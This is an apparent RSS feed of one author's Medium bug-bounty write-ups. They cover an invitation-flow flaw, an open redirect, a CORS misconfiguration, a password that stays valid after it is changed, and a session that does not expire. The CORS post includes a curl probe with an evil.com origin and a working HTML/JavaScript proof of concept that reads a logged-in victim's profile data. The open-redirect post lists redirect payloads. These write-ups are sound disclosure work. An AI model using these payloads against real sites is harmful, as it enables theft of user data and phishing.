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        <title><![CDATA[Stories by Buvaneshvaran K on Medium]]></title>
        <description><![CDATA[Stories by Buvaneshvaran K on Medium]]></description>
        <link>https://medium.com/@iambuvanesh?source=rss-9e6ae7201890------2</link>
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            <title>Stories by Buvaneshvaran K on Medium</title>
            <link>https://medium.com/@iambuvanesh?source=rss-9e6ae7201890------2</link>
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        <lastBuildDate>Sat, 21 Nov 2026 01:53:22 GMT</lastBuildDate>
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            <title><![CDATA[Team invitations can be accepted and full accounts created by admin(attacker) without invitee user…]]></title>
            <link>https://medium.com/@iambuvanesh/team-invitations-can-be-accepted-and-full-accounts-created-by-admin-attacker-without-invitee-user-8901be8426ba?source=rss-9e6ae7201890------2</link>
            <guid isPermaLink="false">https://medium.com/p/8901be8426ba</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bugbounty-tips]]></category>
            <dc:creator><![CDATA[Buvaneshvaran K]]></dc:creator>
            <pubDate>Thu, 27 Nov 2025 06:13:08 GMT</pubDate>
            <atom:updated>2025-11-27T06:13:08.912Z</atom:updated>
            <content:encoded><![CDATA[<h3>Team invitations can be accepted and full accounts created by admin(attacker) without invitee user intraction</h3><h3>Introduction</h3><p>Team invitation systems are common in SaaS products, but if they’re not designed securely, they can open the door to serious abuse. Recently, I came across a flaw in the invitation flow of a web application where an attacker with admin rights could activate invites on behalf of other users — without the invited person ever clicking their email link. This effectively bypassed the requirement of proving ownership of the invited email, creating opportunities for unauthorized access and privilege escalation.</p><h3>The Issue in Brief</h3><p>When an admin sends an invitation, the system generates a signup link tied to the invited email. The problem? Possession of the invite link itself is treated as proof of identity. An attacker with admin rights (or anyone who intercepts the invite link) can open it, set a password, and complete onboarding. The invited user never needs to interact, yet their account is marked as active and appears inside the team with the assigned role.</p><h3>Let’s Get Started</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*amRRaa9_gQQcODx1AEIa1Q.gif" /></figure><ul><li><strong>Admin account:</strong> admin@gmail.com</li></ul><ol><li>Admin Login Account &amp; go to Team Settings</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0WDjABkGZSQ25vNZZjy5QA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GfxbNdSmgHbZy7g-jBN6Lg.png" /></figure><p>2. Admin Click Invite member &amp; fill the form</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7jiWvrvWfRG8GelCLPELA.png" /></figure><p>3. Then Continue Click to view: `<strong>Invite Sent`</strong> Show</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-xA60sXnmq9mBIBbuoZ7g.png" /></figure><p>4. Then Email Check Invite User side(<strong>Hello Newuser1</strong>): `<strong>xevequke@forexnews.bg</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*77swEevbCZSDt_-7QPXn0w.png" /></figure><p>Then (Accept Your Invite) link Copy &amp; Paste the link in notepad</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKH6cod2jsKJwOEkTuhJ9w.png" /></figure><p>Then I Noticed <strong>eyJ</strong> — <strong>Jwt token</strong> in url Show</p><p>Then <a href="http://jwt.io/">jwt.io</a> Check</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KxkKw5qJHDHkTSLAzTQWEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*GPpvI6n0fmQlik2ucAbYDg.gif" /></figure><p>Then i am Noticed for <strong>href to email</strong> show: <strong>xevequke%40forexnews.bg</strong></p><p>`“href”:“https://app.example.com/signup?email=xevequke%40forexnews.bg&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team&quot;`</p><p>5. Just Go to the link in Admin side: `<a href="https://app.example.com/signup?email=xevequke%40forexnews.bg&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team">https://app.example.com/signup?email=xevequke%40forexnews.bg&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team</a>`</p><p>Then Account Create Page Show</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mCjx005Yh2AEHJgZBXtRA.png" /></figure><p>6. Enter Password &amp; Click Continue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cI4JiATNaqHVbUILQuiKtQ.png" /></figure><p>7. Fill the Form &amp; Continue to Redirect User Account Settings Page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9JBGgzF_uTOtRYhft0oLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*3clYT5Wmoof3_ao_hiQFvg.gif" /></figure><p>The <strong>Admin(attacker)</strong> completes account creation (sets password, profile, onboarding).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qTBMLAqD97hwUnTxiMCELQ.png" /></figure><p>8. Again Another one invite for <strong>Admin(Attacker) Side</strong>.</p><p>9. Invite Sent Success. invite email: `<strong>newuser3@gmail.com`</strong></p><p>10. Then Just Modify link &amp; email: `<a href="https://app.example.com/signup?email=xevequke%40forexnews.bg&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team">https://app.example.com/signup?email=<strong>newuser3%40gmail.com</strong>&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team</a>`</p><p>Go the link: `<a href="https://app.example.com/signup?email=xevequke%40forexnews.bg&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team">https://app.example.com/signup?email=<strong>newuser3%40gmail.com</strong>&amp;utm_source=email&amp;utm_medium=email&amp;utm_campaign=user_added_to_team</a>`</p><p>11. Then Account Create &amp; Password Set page show</p><p>12. Then Password set &amp; redirect to go <strong>newuser3</strong> account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*L0yQCL3itSuKLiQbCs-zIA.gif" /></figure><p>Confirm Invite user Without user intraction to Admin(Attacker) Easy to active invite user account for admin(attacker) side...!</p><h3>What Actually Happens</h3><p>The system grants access to any account created via the invite URL. No email verification or confirmation is required. This means attackers can add members (including elevated roles) on behalf of others without their knowledge.</p><h3>What Should Happen</h3><p>Invitations should remain in a <strong>pending state</strong> until the invited person proves ownership of the email by clicking a unique, one-time verification link. Only after verification should the account be activated and added to the team.</p><h3>Impact</h3><ul><li><strong>Unauthorized access:</strong> Attackers can onboard fake accounts under someone else’s email.</li><li><strong>Privilege escalation:</strong> If the invite included admin/owner rights, attackers could self-activate with elevated access.</li><li><strong>Data exposure:</strong> Unauthorized members could gain access to sensitive team data.</li><li><strong>Mass abuse:</strong> Attackers could flood a team with fake members by exploiting the lack of verification.</li></ul><h3>Conclusion</h3><p>This is a critical flaw in the invite system. By skipping the basic step of verifying email ownership, the platform allows attackers to hijack invitations and gain unauthorized access. Stronger invite validation, single-use tokens, and mandatory email verification are essential to prevent abuse and protect user trust.</p><p><strong>Pro Tips:</strong></p><p>Privilage Esclation — No email Verification Required</p><ol><li>An Admin invitation is sent to test@example.com</li><li>As an attacker (low-Privileged user), you can see that email</li><li>You Create a new account using the same invited email (test@example.com)</li><li>since there’s no verification, you automatically join the org as a admin.</li></ol><p>Let me know what you think this writeup in the comments! 👇<br>Happy Hunting! 🔍💰</p><p>I hope you will like this writeup soon and will see it in the next writeup.</p><p>Thanks for taking the time to read my write-up.</p><p>Connect me on LinkedIn: <a href="https://www.linkedin.com/in/buvaneshvaran/">https://www.linkedin.com/in/buvaneshvaran</a>/</p><p>Do Follow <a href="https://medium.com/@iambuvanesh">iambuvanesh </a>for more Interesting write-ups!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8901be8426ba" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[ Earned $100 in 2 Minutes — Finding an Open Redirect Vulnerability]]></title>
            <link>https://medium.com/@iambuvanesh/earned-100-in-2-minutes-finding-an-open-redirect-vulnerability-1d8a67da4eac?source=rss-9e6ae7201890------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d8a67da4eac</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[open-redirect]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[open-redirection]]></category>
            <dc:creator><![CDATA[Buvaneshvaran K]]></dc:creator>
            <pubDate>Fri, 06 Jun 2025 18:33:13 GMT</pubDate>
            <atom:updated>2025-06-06T18:33:13.373Z</atom:updated>
            <content:encoded><![CDATA[<h3>💸 Earned $100 in 2 Minutes — Finding an Open Redirect Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*LQwfcN29Wgjh6fNBTXwfug.gif" /></figure><h3>🔎 What is an Open Redirect?</h3><p>An <strong>open redirect</strong> happens when a web application accepts a URL parameter or path and redirects users to any arbitrary domain without validation. This allows attackers to trick users by hiding malicious links behind a legitimate-looking domain — a common technique in phishing attacks.</p><h3>⚡ My Discovery — Double Slash Trick</h3><p>While testing one of my bug bounty targets, I decided to try a very basic test on the domain’s root path. I noticed that the app might be doing some redirection based on URL structure. So I simply typed:</p><pre>https://targetdomain.com//bing.com</pre><p>And to my surprise — it <strong>redirected me directly to </strong><a href="https://bing.com./"><strong>https://bing.com</strong>.</a></p><p>Here’s why this worked:</p><ul><li>Many servers or redirect handlers incorrectly parse the double slash (//) as the beginning of a new URL.</li><li>The backend thought it was a relative redirect but ended up treating //bing.com as an <strong>absolute URL</strong>, which triggered the redirection.</li></ul><h3>🧪 How I Tested It</h3><p><strong>Step 1</strong>: I loaded the URL in the browser:</p><pre>https://targetdomain.com//bing.com</pre><p><strong>Step 2</strong>: I observed that it immediately redirected to <a href="https://bing.com./">https://bing.com.</a></p><p><strong>Step 3</strong>: I repeated it with a few more domains like:</p><pre>https://targetdomain.com//evil.com<br>https://targetdomain.com//google.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*KgEMWnWNS_dDdenC8U75IQ.gif" /></figure><p>All of them redirected. ✅ Confirmed!</p><h3>🚨 Potential Impact</h3><p>Although open redirect bugs are often <strong>low or medium severity</strong>, they can still:</p><ul><li>Be used in phishing attacks.</li><li>Bypass some security filters.</li><li>Trick users into trusting malicious links.</li><li>Potentially be chained with other vulnerabilities.</li></ul><p>Because of this, many programs still <strong>pay bounties</strong> for it — and this time, the team rewarded me with <strong>$100</strong> almost instantly.</p><h3>📌 Summary</h3><ul><li><strong>Bug Type</strong>: Open Redirect</li><li><strong>Payload Used</strong>: <a href="https://targetdomain.com//bing.com">https://targetdomain.com//bing.com</a></li><li><strong>Time Taken</strong>: ~2 minutes</li><li><strong>Bounty Received</strong>: $100 💰</li><li><strong>Severity</strong>: Low (based on target’s policy)</li><li><strong>Impact</strong>: Could be abused in phishing campaigns or user redirection.</li></ul><h3>💡 Takeaways for Other Hunters</h3><ul><li>Always test for weird path structures like //domain.com.</li><li>Not all open redirects are via query parameters — some happen in the <strong>path</strong> itself.</li><li>Even simple bugs can pay well if submitted clearly and with proof.</li></ul><p>Thanks for reading!<br> I’m <a href="https://medium.com/@iambuvanesh">Buvanesh </a>— a passionate bug bounty hunter focused on web application security.<br> Follow me for more real-world bug stories, tips, and success journeys.</p><p>Connect me on LinkedIn: <a href="https://www.linkedin.com/in/buvaneshvaran/">https://www.linkedin.com/in/buvaneshvaran</a>/</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d8a67da4eac" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[How I Earned $$$ in a CORS Exploit Misconfigured]]></title>
            <link>https://medium.com/@iambuvanesh/how-i-earned-in-a-cors-exploit-misconfigured-1ff736e75314?source=rss-9e6ae7201890------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ff736e75314</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cors]]></category>
            <dc:creator><![CDATA[Buvaneshvaran K]]></dc:creator>
            <pubDate>Tue, 27 May 2025 09:49:02 GMT</pubDate>
            <atom:updated>2025-05-27T10:14:24.093Z</atom:updated>
            <content:encoded><![CDATA[<p><em>— A Deep Dive into Misconfigured Cross-Origin Resource Sharing and Its Impact</em></p><h3>📌 Introduction</h3><p>In this write-up, I’ll walk you through how I discovered a <strong>CORS misconfiguration vulnerability</strong> on a bug bounty target that led to a $$$ reward. While CORS issues are often overlooked, they can become serious security risks when combined with credentialed endpoints or sensitive API data. Let’s dive into the details of how I found, exploited, and reported this bug — and how you can too.</p><h3>🔍 What is CORS?</h3><p>CORS (Cross-Origin Resource Sharing) is a browser mechanism that allows controlled access to resources located outside a given domain. A typical misconfiguration might trust arbitrary origins or allow credentials (like cookies or tokens) to be sent across origins.</p><p>When improperly implemented, CORS can allow a malicious site to read sensitive data from another domain, leading to major privacy or security concerns.</p><h3>🧠 The Recon</h3><p>I started with basic subdomain enumeration and came across an interesting all subdomain:</p><pre>www.target.com<br>api.target.com<br>dev.target.com</pre><p>I tested this endpoint manually and with tools like curl and httpie, then tried probing for CORS misconfigurations using <a href="https://github.com/s0md3v/Corsy">Corsy</a> and curl.</p><p>Then Test for <a href="https://github.com/s0md3v/Corsy"><strong>Corsy</strong></a> Tool:</p><p>python corsy.py -u <a href="https://www.target.com/user/profile">https://www.target.com/user/profile</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FRLVg71Oo71C6dFj6bfA4w.png" /></figure><p>Here’s the test <strong>curl</strong> request I sent:</p><pre>curl -I -H &quot;Origin: https://evil.com&quot; https://www.target.com/user/profile</pre><p>And the response I got back:</p><pre>Access-Control-Allow-Origin: https://evil.com<br>Access-Control-Allow-Credentials: true</pre><p>Check <strong>Burpsuite</strong> For Request &amp; Response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_GcWOaz7oxZiYCyGr8WBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cy8S93HR1GE4cWpMMrby5g.png" /></figure><p>Check <strong>Nuclei</strong> Response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5RGRd2_QAywt2IG6aoUgQ.png" /></figure><p>💥 <strong>BOOM!</strong> This was a red flag.</p><h3>🚩 Why This Was Dangerous</h3><ul><li>The endpoint responded with Access-Control-Allow-Origin: https://evil.com dynamically.</li><li>Access-Control-Allow-Credentials: true was enabled, which means <strong>cookies or authorization headers would be sent</strong>.</li><li>The endpoint returned <strong>sensitive user information</strong> like email, name, and internal ID numbers when the user was authenticated.</li></ul><p>This allowed me to craft a <strong>Cross-Origin JavaScript exploit</strong> that could be hosted on a malicious domain to hijack authenticated data.</p><p>Then how to exploit this CORS issue? Thinking…!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*vLgFKEvrWo3JX9PAnPTzYA.gif" /></figure><p>Then Google it to search and find help for <a href="https://vral-parmar.github.io/CORS-POC-Generator/"><strong>GitHub CORS PoC Generator</strong></a>.</p><p>Just Go it <a href="https://vral-parmar.github.io/CORS-POC-Generator/"><strong>GitHub CORS PoC Generator</strong></a> Then enter target domain endpoint &amp; click generate to pop up json format to <strong>CORS Exploit Success</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1RhjBf4Xqm9BAwo2YUm6mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPDxgg7T2oAfaOURFlIEeg.png" /></figure><p>Finaly I am <strong>Happy</strong> for <strong>CORS Exploit Success</strong> &amp; Get some Jusy <strong>User Info</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*lTTxcQinlz9b-_6iR5iy5g.gif" /></figure><p><strong>All So Check CORS Exploit to My own Domain (or) Attacker Domain</strong></p><h3>🧪 Proof of Concept (PoC)</h3><p>I created a simple HTML page:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;&lt;title&gt;CORS PoC&lt;/title&gt;&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;CORS Exploit&lt;/h1&gt;<br>  &lt;button onclick=&quot;exploit()&quot;&gt;Exploit&lt;/button&gt;<br>  &lt;pre id=&quot;output&quot;&gt;&lt;/pre&gt;<br>  &lt;script&gt;<br>    function exploit() {<br>      fetch(&quot;https://www.target.com/user/profile&quot;, {<br>        method: &quot;GET&quot;,<br>        credentials: &quot;include&quot;<br>      })<br>      .then(res =&gt; res.text())<br>      .then(data =&gt; {<br>        document.getElementById(&quot;output&quot;).innerText = data;<br>      });<br>    }<br>  &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Once a logged-in victim visited this page, their profile data was exfiltrated to my webhook. This demonstrated a serious privacy violation.</p><p><strong>Attacker Domain Expolit Response:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tv-HgDhcy6qbQdBSb8Qciw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*XWcKznqLilGBsOx7JQDdHA.gif" /></figure><h3>📬 Reporting and Response</h3><p>I submitted the report with:</p><ul><li>PoC HTML code</li><li>Response headers</li><li>Sensitive data captured</li><li>Explanation of impact and CORS behavior</li></ul><p>Within a few days, I received a response: <strong>“Triaged ✅”</strong><br> Shortly after — the best part — <strong>a $$$ reward</strong> landed in my inbox.</p><h3>✅ Final Takeaways</h3><ul><li>CORS vulnerabilities can be impactful, especially with Allow-Credentials: true.</li><li>Always test All endpoints, even if they seem “read-only”.</li><li>Combine it with authentication and cookies for max impact.</li><li>Use tools like <a href="https://github.com/s0md3v/Corsy">Corsy</a>, or curl for detection.</li></ul><h3>💡 Pro Tips</h3><ul><li>Look for wildcard origins or reflections of the Origin header.</li><li>Always check if Access-Control-Allow-Credentials is true.</li><li>Validate if sensitive information is being leaked or processed without proper origin validation.</li></ul><h3>🎉 Conclusion</h3><p>This was a perfect example of how <strong>attention to detail and understanding of browser security mechanisms</strong> can pay off in bug bounty hunting. Never underestimate CORS!</p><p>Let me know what you think or drop your CORS stories in the comments! 👇<br> Happy Hunting! 🔍💰</p><p>I hope you will like this writeup soon and will see it in the next writeup.</p><p>Thanks for taking the time to read my write-up.</p><p>Connect me on LinkedIn: <a href="https://www.linkedin.com/in/buvaneshvaran/">https://www.linkedin.com/in/buvaneshvaran</a>/</p><p>Do Follow <a href="https://medium.com/@iambuvanesh">iambuvanesh </a>for more Interesting write-ups!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ff736e75314" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[ Cloudflare Bug Bounty: First Old Password Does Not Expire After Password Change]]></title>
            <link>https://medium.com/@iambuvanesh/cloudflare-bug-bounty-first-old-password-does-not-expire-after-password-change-b767a050d231?source=rss-9e6ae7201890------2</link>
            <guid isPermaLink="false">https://medium.com/p/b767a050d231</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cloudflare]]></category>
            <dc:creator><![CDATA[Buvaneshvaran K]]></dc:creator>
            <pubDate>Tue, 20 May 2025 15:21:22 GMT</pubDate>
            <atom:updated>2025-05-27T08:25:37.850Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hi Security World!</strong><br> Today, I’m sharing an interesting bug I discovered in Cloudflare’s dashboard involving password management — a critical part of any secure platform.</p><h3>🐛 The Bug</h3><p>The issue? <strong>The original password remains valid even after multiple password changes.</strong><br> This violates secure password change best practices and introduces the risk of unauthorized access.</p><h3>✅ Steps to Reproduce</h3><ol><li><strong>Go to</strong>: <a href="https://dash.cloudflare.com/login">https://dash.cloudflare.com/login</a></li><li><strong>Login</strong> with the <em>original</em> password</li><li><strong>Navigate</strong> to: My Profile &gt; Authentication</li><li>Click <strong>“Change Password”</strong></li><li>Enter:</li></ol><ul><li><strong>Old password</strong>: 123qweQ!</li><li><strong>New password</strong>: 123qweQ!123</li></ul><p>6. Password is successfully changed (you’ll see “Your password has been changed”)</p><p>7. Now, <strong>change the password again</strong>, but do this:</p><p>This time you notice for 123qweQ!123 this is password for this time old password But i Used First Old one password.</p><ul><li><strong>Old password</strong>: 123qweQ! <em>(Yes, the original one again!)</em></li><li><strong>New password</strong>: 123qweQ!123qwe</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*HsJVen2qv79LCxYp7O86FA.gif" /></figure><p>The application again allows this and says “Password has been changed”</p><p>✅ <strong>Result</strong>: You are able to use the <strong>first original password</strong> even after changing it — <strong>it never expires!</strong></p><p>Then Report the Bug on Cloudflare security Team Triaged My Report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*88xdYOYu3jOHXca732joOQ.gif" /></figure><h3>💣 Security Impact</h3><p>This issue falls under <a href="https://cwe.mitre.org/data/definitions/620.html">CWE-620: Unverified Password Change</a>.</p><blockquote><em>“When setting a new password for a user, the product does not require proper verification of the current password or uses outdated tokens.”</em></blockquote><h4>Real-world Risks:</h4><ul><li><strong>Persistent access</strong> for an attacker who once knew the password</li><li>Could allow <strong>account takeover</strong> if the attacker stays undetected</li><li>Defeats the purpose of rotating credentials</li></ul><h3>📹 Proof of Concept (PoC)</h3><p>👉 <strong>PoC Video</strong>: <a href="https://www.youtube.com/watch?v=5GK5qUTC3Ss">https://www.youtube.com/watch?v=5GK5qUTC3Ss</a></p><h3>🔗 Reference</h3><ul><li>CWE-620: <a href="https://cwe.mitre.org/data/definitions/620.html">https://cwe.mitre.org/data/definitions/620.html</a></li></ul><h3>🧠 Root Cause (Assumption)</h3><p>The system likely <strong>does not expire old authentication tokens or invalidate prior credentials</strong>, leading to <strong>multiple passwords</strong> being active simultaneously.</p><h3>📸 Bonus Meme</h3><p><em>When you change the password, but the old one still works like a VIP.</em></p><h3>🙌 Final Thoughts</h3><p>Password change functionality should always:</p><ul><li>Expire the previous password <strong>immediately</strong></li><li>Require the <strong>current password</strong> to verify identity</li><li>Invalidate all active sessions or tokens if needed</li></ul><p>Thanks to Cloudflare’s security team for reviewing and hopefully addressing this! 🙏<br> Happy hacking and stay secure! 🔒💻</p><p><strong>TIMELINE</strong></p><p><strong>Reported</strong> on → 28/06/2023</p><p><strong>Traiged</strong> on → 30/06/2023</p><p><strong>Resolved </strong>on → 07/07/2023</p><p>I hope you will like this writeup soon and will see it in the next writeup.</p><p>Thanks for taking the time to read my write-up.</p><p>Do Follow <a href="https://medium.com/@iambuvanesh">iambuvanesh </a>for more Interesting write-ups!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b767a050d231" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[How I got my first bug bounty 50$]]></title>
            <link>https://medium.com/@iambuvanesh/how-i-got-my-first-bug-bounty-50-c759b01d127e?source=rss-9e6ae7201890------2</link>
            <guid isPermaLink="false">https://medium.com/p/c759b01d127e</guid>
            <dc:creator><![CDATA[Buvaneshvaran K]]></dc:creator>
            <pubDate>Mon, 21 Aug 2023 07:09:15 GMT</pubDate>
            <atom:updated>2023-08-21T12:12:23.005Z</atom:updated>
            <content:encoded><![CDATA[<h3>Improper session management — Session Does Not Expire On Password Change</h3><p>So Here’s my short writeup on this.</p><p>To test this follow the steps:</p><ol><li>login in with the same account in Chrome and Firefox Simultaneously using the https://example/account/login</li><li>email: ****@gmail.com and password: ********</li><li>Change the password in Chrome Browser</li><li>old password:********</li><li>new password:**********</li><li>Re type password:********** and save</li><li>Go to firefox Refresh the page and Update any information, information will be update *If attacker login with firefox and user know his password stolen so even user change their password, his account remain insecure and attacker have full access of victim account.</li><li>It means that session of account containing the old password does not expire.</li></ol><p><strong>Triaged with in 5 business days</strong></p><p><strong>Then $50 Bounty for a fixed in 2 business days</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*uLfWYsPvdH3hKfMHa0nTFw.gif" /></figure><p>Thanks for reading . Happy Hunting .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c759b01d127e" width="1" height="1" alt="">]]></content:encoded>
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